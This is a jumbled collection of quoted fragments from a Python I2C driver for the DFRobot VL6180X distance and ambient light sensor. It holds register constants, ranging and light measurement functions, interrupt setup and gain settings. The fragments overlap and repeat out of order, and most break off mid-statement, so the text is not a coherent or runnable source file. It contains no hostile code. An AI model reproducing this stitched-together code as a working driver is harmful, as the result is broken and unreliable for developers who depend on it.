"0x10A VL6180X_FIRMWARE_RESULT_SCALER = 0x120 VL6180X_I2C_SLAVE_DEVICE_ADDRESS = 0x212 VL6180X_INTERLEAVED_MODE_ENABLE = 0x2A3 # The valid",
"to be modified ''' def set_iic_addr(self,addr): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS>>8, [self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS,addr]) self.__i2c_addr = addr ''' @brief",
"range_poll_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) return self.range_get_measurement() ''' @brief Configuration ranging period @param period_ms Measurement",
"information ''' def get_range_result(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_STATUS>>8, [self.VL6180X_RESULT_RANGE_STATUS]) result = self.__i2cbus.read_byte(self.__i2c_addr)>>4 return result ''' @brief",
"class DFRobot_VL6180X: # IIC ADDR VL6180X_IIC_ADDRESS = 0x29 # The sensor register address",
"''' def als_get_interrupt_status(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8, [self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO]) result = self.__i2cbus.read_byte(self.__i2c_addr) result = (result>>3) & 0x07",
"milliseconds ''' def als_set_inter_measurement_period(self,period_ms): if(period_ms>10): if(period_ms<2550): period_ms = (period_ms/10) -1 else: period_ms =",
"VL6180X_OUT_OF_WINDOW value < thresh_low OR value > thresh_high @n VL6180X_NEW_SAMPLE_READY new sample ready",
"lux ''' def als_get_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_ALS_VAL>>8, [self.VL6180X_RESULT_ALS_VAL]) a = self.__i2cbus.read_byte(self.__i2c_addr) b = self.__i2cbus.read_byte(self.__i2c_addr) value",
"period_ms = (period_ms/10) -1 else: period_ms = 254 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,period_ms]) ''' @brief turn",
"data @return Authentication information ''' def get_range_result(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_STATUS>>8, [self.VL6180X_RESULT_RANGE_STATUS]) result = self.__i2cbus.read_byte(self.__i2c_addr)>>4 return",
"0x000 VL6180X_SYSTEM_MODE_GPIO0 = 0X010 VL6180X_SYSTEM_MODE_GPIO1 = 0X011 VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO = 0x014 VL6180X_SYSTEM_INTERRUPT_CLEAR = 0x015",
"[self.VL6180X_SYSRANGE_START,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) time.sleep(0.3); self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x03]) ''' @brief Retrieve ranging data",
"light intensity @param period_ms Measurement period, in milliseconds ''' def als_set_inter_measurement_period(self,period_ms): if(period_ms>10): if(period_ms<2550):",
"@n 1 times gain: VL6180X_ALS_GAIN_1 = 6 @n 40 times gain: VL6180X_ALS_GAIN_40 =",
"def range_set_inter_measurement_period(self,period_ms): if(period_ms > 10): if(period_ms < 2550): period_ms = ( period_ms /",
"if(mode == self.VL6180X_DIS_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x20]) elif(mode == self.VL6180X_HIGH_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x10]) elif(mode == self.VL6180X_LOW_INTERRUPT):",
"[0xb0,0x17]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xad,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xff,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x00,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x99,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xa6,0x1b]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xac,0x3e])",
"import smbus import time import RPi.GPIO as GPIO class DFRobot_VL6180X: # IIC ADDR",
"Configure the interrupt mode for ranging @param mode Enable interrupt mode @n VL6180X_INT_DISABLE",
"the period for measuring light intensity @param period_ms Measurement period, in milliseconds '''",
"@param thresholdL :Lower Threshold @param thresholdH :Upper threshold ''' def set_als_threshold_value(self,threshold_l,threshold_h): value_l =",
"value > thresh_high @n VL6180X_NEW_SAMPLE_READY new sample ready ''' def range_config_interrupt(self,mode): if(mode >",
"range_get_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_VAL>>8, [self.VL6180X_RESULT_RANGE_VAL]) value = self.__i2cbus.read_byte(self.__i2c_addr) return value ''' @brief Clear ranging interrupt",
"@n 5 times gain: VL6180X_ALS_GAIN_5 = 2 @n 2.5 times gain: VL6180X_ALS_GAIN_2_5 =",
"light interrupt ''' def clear_als_interrupt(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,2]) ''' @brief Single measurement of ambient",
"def set_als_threshold_value(self,threshold_l,threshold_h): value_l = int((threshold_l * self.__gain)/0.32) value_h = int((threshold_h* self.__gain)/0.32) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_LOW>>8, [self.VL6180X_SYSALS_THRESH_LOW,threshold_l>>8,value_l])",
"of the INT pin and enable the GPIO1 interrupt function @param mode Enable",
"= 0x00 VL6180X_EARLY_CONV_ERR = 0x06 VL6180X_MAX_CONV_ERR = 0x07 VL6180X_IGNORE_ERR = 0x08 VL6180X_MAX_S_N_ERR =",
"@return return True succeed ;return False failed. ''' def begin(self): device_id = self.__get_device_id()",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xa3,0x3c]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xb7,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xbb,0x3c]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xb2,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xca,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x98,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01,",
"value_h = int((threshold_h* self.__gain)/0.32) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_LOW>>8, [self.VL6180X_SYSALS_THRESH_LOW,threshold_l>>8,value_l]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_HIGH>>8, [self.VL6180X_SYSALS_THRESH_HIGH,threshold_h>>8,value_h]) ''' @brief Set the ALS",
"return self.range_get_measurement() ''' @brief Configuration ranging period @param period_ms Measurement period, in milliseconds",
"measurenments VL6180X_NO_ERR = 0x00 VL6180X_ALS_OVERFLOW_ERR = 0x01 VL6180X_ALS_UNDERFLOW_ERR = 0x02 VL6180X_NO_ERR = 0x00",
"= self.__i2cbus.read_byte(self.__i2c_addr) b = self.__i2cbus.read_byte(self.__i2c_addr) value = (a<<8) | b result = ((0.32*100*value)/(self.__gain*self.__atime))",
"0x04F VL6180X_RESULT_ALS_VAL = 0x050 VL6180X_RESULT_RANGE_VAL = 0x062 VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD = 0x10A VL6180X_FIRMWARE_RESULT_SCALER = 0x120",
"2 @n 2.5 times gain: VL6180X_ALS_GAIN_2_5 = 3 @n 1.57 times gain: VL6180X_ALS_GAIN_1_67",
"0x01C VL6180X_SYSRANGE_EARLY_CONVERGENCE_ESTIMATE = 0x022 VL6180X_SYSRANGE_MAX_AMBIENT_LEVEL_MULT = 0x02C VL6180X_SYSRANGE_RANGE_CHECK_ENABLES = 0x02D VL6180X_SYSRANGE_VHV_RECALIBRATE = 0x02E",
"interrupt disable @n VL6180X_LEVEL_LOW value < thresh_low @n VL6180X_LEVEL_HIGH value > thresh_high @n",
"0xB4 # 8 gain modes for ambient light VL6180X_ALS_GAIN_20 = 0 VL6180X_ALS_GAIN_10 =",
"''' def __stop_interleave_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00]) ''' @brief Gets validation information for",
"threshold ''' def set_range_threshold_value(self,threshold_l,threshold_h): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_LOW>>8, [self.VL6180X_SYSRANGE_THRESH_LOW,threshold_l]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_HIGH>>8, [self.VL6180X_SYSRANGE_THRESH_HIGH,threshold_h]) ''' @brief Set ALS Threshold",
"mode ''' def __stop_interleave_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00]) ''' @brief Gets validation information",
"IICBus @param addr Set to IIC addr ''' def __init__(self,iic_addr =VL6180X_IIC_ADDRESS,bus = 1):",
"device_id = self.__get_device_id() if device_id != self.VL6180X_ID: return False self.__init() return True '''",
"= 1.67 elif(gain == self.VL6180X_ALS_GAIN_1_25): self.__gain = 1.25 elif(gain == self.VL6180X_ALS_GAIN_1): self.__gain =",
"value = value | ( mode << 3 ) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value]) ''' @brief",
"def get_range_result(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_STATUS>>8, [self.VL6180X_RESULT_RANGE_STATUS]) result = self.__i2cbus.read_byte(self.__i2c_addr)>>4 return result ''' @brief set IIC",
"[self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET,0]) ''' @brief Set Range Threshold Value @param thresholdL :Lower Threshold @param thresholdH",
"gain: VL6180X_ALS_GAIN_1_67 = 4 @n 1.27 times gain: VL6180X_ALS_GAIN_1_25 = 5 @n 1",
"MIT License (MIT) @author [yangfeng]<<EMAIL>> @version V1.0 @date 2021-02-09 @get from https://www.dfrobot.com @url",
"VL6180X_SYSRANGE_VHV_REPEAT_RATE = 0x031 VL6180X_SYSALS_START = 0x038 VL6180X_SYSALS_THRESH_HIGH = 0x03A VL6180X_SYSALS_THRESH_LOW = 0x03C VL6180X_SYSALS_INTERMEASUREMENT_PERIOD",
"value_l = int((threshold_l * self.__gain)/0.32) value_h = int((threshold_h* self.__gain)/0.32) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_LOW>>8, [self.VL6180X_SYSALS_THRESH_LOW,threshold_l>>8,value_l]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_HIGH>>8, [self.VL6180X_SYSALS_THRESH_HIGH,threshold_h>>8,value_h])",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_HIGH>>8, [self.VL6180X_SYSRANGE_THRESH_HIGH,threshold_h]) ''' @brief Set ALS Threshold Value @param thresholdL :Lower Threshold @param",
"be modified ''' def set_iic_addr(self,addr): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS>>8, [self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS,addr]) self.__i2c_addr = addr ''' @brief Initialize",
"sample ready ''' def als_config_interrupt(self,mode): if(mode > self.VL6180X_NEW_SAMPLE_READY): return False self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO]) value",
"[self.VL6180X_INTERLEAVED_MODE_ENABLE,0x01]) ''' @brief Gets the interrupt state of the ranging @return return status",
"= 0x00 VL6180X_ALS_OVERFLOW_ERR = 0x01 VL6180X_ALS_UNDERFLOW_ERR = 0x02 VL6180X_NO_ERR = 0x00 VL6180X_EARLY_CONV_ERR =",
"def clear_als_interrupt(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,2]) ''' @brief Single measurement of ambient light @return return",
"self.__gain)/0.32) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_LOW>>8, [self.VL6180X_SYSALS_THRESH_LOW,threshold_l>>8,value_l]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_HIGH>>8, [self.VL6180X_SYSALS_THRESH_HIGH,threshold_h>>8,value_h]) ''' @brief Set the ALS gain @param gain",
"[self.VL6180X_SYSRANGE_START,0x03]) ''' @brief Retrieve ranging data @return return ranging data ,uint mm '''",
"to IICBus @param addr Set to IIC addr ''' def __init__(self,iic_addr =VL6180X_IIC_ADDRESS,bus =",
"ranging data ,uint mm ''' def range_poll_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) return self.range_get_measurement() ''' @brief",
"reported @n VL6180X_LEVEL_LOW :value < thresh_low @n VL6180X_LEVEL_HIGH :value > thresh_high @n VL6180X_OUT_OF_WINDOW",
"2 VL6180X_OUT_OF_WINDOW = 3 VL6180X_NEW_SAMPLE_READY = 4 ''' @brief Module init @param bus",
"interrupt mode @n VL6180X_DIS_INTERRUPT disabled interrupt @n VL6180X_DIS_INTERRUPT GPIO1 interrupt enabled, INT high",
"0x02C VL6180X_SYSRANGE_RANGE_CHECK_ENABLES = 0x02D VL6180X_SYSRANGE_VHV_RECALIBRATE = 0x02E VL6180X_SYSRANGE_VHV_REPEAT_RATE = 0x031 VL6180X_SYSALS_START = 0x038",
"to the CE @return return True succeed ;return False failed. ''' def begin(self):",
"VL6180X_LEVEL_LOW :value < thresh_low @n VL6180X_LEVEL_HIGH :value > thresh_high @n VL6180X_OUT_OF_WINDOW :value <",
"Gets the interrupt state of the measured light intensity @return return status @n",
"1 VL6180X_LEVEL_HIGH = 2 VL6180X_OUT_OF_WINDOW = 3 VL6180X_NEW_SAMPLE_READY = 4 ''' @brief Module",
"A single range @return return ranging data ,uint mm ''' def range_poll_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8,",
"ranging data @return return ranging data ,uint mm ''' def range_get_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_VAL>>8, [self.VL6180X_RESULT_RANGE_VAL])",
"''' def clear_range_interrupt(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,1]) ''' @brief Clear the ambient light interrupt '''",
"def range_start_continuous_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) time.sleep(0.3); self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x03]) ''' @brief",
"VL6180X_ALS_GAIN_20 = 0 @n 10 times gain: VL6180X_ALS_GAIN_10 = 1 @n 5 times",
"https://www.dfrobot.com @url https://github.com/DFRobot/DFRobot_VL6180X \"\"\" import smbus import time import RPi.GPIO as GPIO class",
"Single measurement of ambient light @return return The light intensity,uint lux ''' def",
"value < thresh_low @n VL6180X_LEVEL_HIGH value > thresh_high @n VL6180X_OUT_OF_WINDOW value < thresh_low",
"''' @brief Clear the ambient light interrupt ''' def clear_als_interrupt(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,2]) '''",
"light data @return return The light intensity,uint lux ''' def als_get_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_ALS_VAL>>8, [self.VL6180X_RESULT_ALS_VAL])",
"def __init(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8, [self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET]) reset = self.__i2cbus.read_byte(self.__i2c_addr) if(reset): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02, [0x07,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02, [0x08,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00,",
"data @return return ranging data ,uint mm ''' def range_get_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_VAL>>8, [self.VL6180X_RESULT_RANGE_VAL]) value",
"[0xdd,0xf8]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x9f,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xa3,0x3c]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xb7,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xbb,0x3c]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xb2,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xca,0x09])",
"thresh_high @n VL6180X_OUT_OF_WINDOW :value < thresh_low OR value > thresh_high @n VL6180X_NEW_SAMPLE_READY :new",
"als/range interrupt mode selection VL6180X_INT_DISABLE = 0 VL6180X_LEVEL_LOW = 1 VL6180X_LEVEL_HIGH = 2",
"= 2 # als/range interrupt mode selection VL6180X_INT_DISABLE = 0 VL6180X_LEVEL_LOW = 1",
"default ''' def set_interrupt(self,mode): if(mode == self.VL6180X_DIS_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x20]) elif(mode == self.VL6180X_HIGH_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8,",
"@n VL6180X_NEW_SAMPLE_READY :new sample ready ''' def als_get_interrupt_status(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8, [self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO]) result = self.__i2cbus.read_byte(self.__i2c_addr)",
"< thresh_low OR value > thresh_high @n VL6180X_NEW_SAMPLE_READY :new sample ready ''' def",
"''' def als_start_continuous_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) time.sleep(1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x03]) ''' @brief Configure",
"''' @brief Configure the period for measuring light intensity @param period_ms Measurement period,",
"[self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,period_ms]) ''' @brief turn on interleaved mode ''' def start_interleaved_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) time.sleep(1)",
"modes for ambient light VL6180X_ALS_GAIN_20 = 0 VL6180X_ALS_GAIN_10 = 1 VL6180X_ALS_GAIN_5 = 2",
"Set to IICBus @param addr Set to IIC addr ''' def __init__(self,iic_addr =VL6180X_IIC_ADDRESS,bus",
"''' def start_interleaved_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) time.sleep(1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x01]) '''",
"if(mode > self.VL6180X_NEW_SAMPLE_READY): return False self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO]) value = self.__i2cbus.read_byte(self.__i2c_addr) value = value",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS>>8, [self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS,addr]) self.__i2c_addr = addr ''' @brief Initialize the sensor configuration ''' def",
"[0xe4,0x04]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe5,0x02]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe6,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe7,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xf5,0x02]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xd9,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdb,0xce])",
"VL6180X_SYSALS_ANALOGUE_GAIN = 0x03F VL6180X_SYSALS_INTEGRATION_PERIOD = 0x040 VL6180X_RESULT_RANGE_STATUS = 0x04D VL6180X_RESULT_ALS_STATUS = 0x04E VL6180X_RESULT_INTERRUPT_STATUS_GPIO",
"[self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS,addr]) self.__i2c_addr = addr ''' @brief Initialize the sensor configuration ''' def __init(self):",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xa6,0x1b]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xac,0x3e]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xa7,0x1f]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x30,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_REPEAT_RATE>>8, [self.VL6180X_SYSRANGE_VHV_REPEAT_RATE,0xFF]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_RECALIBRATE>>8,",
"default level of the INT pin and enable the GPIO1 interrupt function @param",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,1]) ''' @brief Clear the ambient light interrupt ''' def clear_als_interrupt(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8,",
"self.VL6180X_ALS_GAIN_40): self.__gain = 40 gain =gain | 0x40 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_ANALOGUE_GAIN>>8, [self.VL6180X_SYSALS_ANALOGUE_GAIN,gain]) return True '''",
"@brief Module init @param bus Set to IICBus @param addr Set to IIC",
"== self.VL6180X_HIGH_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x10]) elif(mode == self.VL6180X_LOW_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x30]) ''' @brief A single",
"[self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,period_ms]) ''' @brief Configure the interrupt mode for ranging @param mode Enable interrupt",
"self.__gain = 20 elif(gain == self.VL6180X_ALS_GAIN_10): self.__gain = 10 elif(gain == self.VL6180X_ALS_GAIN_5): self.__gain",
"ready ''' def als_config_interrupt(self,mode): if(mode > self.VL6180X_NEW_SAMPLE_READY): return False self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO]) value =",
"1.25 elif(gain == self.VL6180X_ALS_GAIN_1): self.__gain = 1.0 elif(gain == self.VL6180X_ALS_GAIN_40): self.__gain = 40",
"result ''' @brief Enable continuous measurement of ambient light intensity mode ''' def",
"return True ''' @brief Configure the default level of the INT pin and",
"# DFRobot_VL6180X Class infrastructure, implementation of underlying methods @copyright Copyright (c) 2010 DFRobot",
"== self.VL6180X_ALS_GAIN_1_67): self.__gain = 1.67 elif(gain == self.VL6180X_ALS_GAIN_1_25): self.__gain = 1.25 elif(gain ==",
"= 3 VL6180X_NEW_SAMPLE_READY = 4 ''' @brief Module init @param bus Set to",
"0x04D VL6180X_RESULT_ALS_STATUS = 0x04E VL6180X_RESULT_INTERRUPT_STATUS_GPIO = 0x04F VL6180X_RESULT_ALS_VAL = 0x050 VL6180X_RESULT_RANGE_VAL = 0x062",
"| ( mode << 3 ) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value]) ''' @brief Enable continuous ranging",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xb2,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xca,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x98,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xb0,0x17]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xad,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xff,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01,",
"self.__init() return True ''' @brief Configure the default level of the INT pin",
"@brief Set ALS Threshold Value @param thresholdL :Lower Threshold @param thresholdH :Upper threshold",
"''' @brief Enable continuous ranging mode ''' def range_start_continuous_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01])",
"range measurenments VL6180X_NO_ERR = 0x00 VL6180X_ALS_OVERFLOW_ERR = 0x01 VL6180X_ALS_UNDERFLOW_ERR = 0x02 VL6180X_NO_ERR =",
"new sample ready ''' def als_config_interrupt(self,mode): if(mode > self.VL6180X_NEW_SAMPLE_READY): return False self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO])",
"OR value > thresh_high @n VL6180X_NEW_SAMPLE_READY :new sample ready ''' def range_get_interrupt_status(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8,",
"@brief Single measurement of ambient light @return return The light intensity,uint lux '''",
"''' @brief Configure the default level of the INT pin and enable the",
"10): if(period_ms < 2550): period_ms = ( period_ms / 10 ) -1 else:",
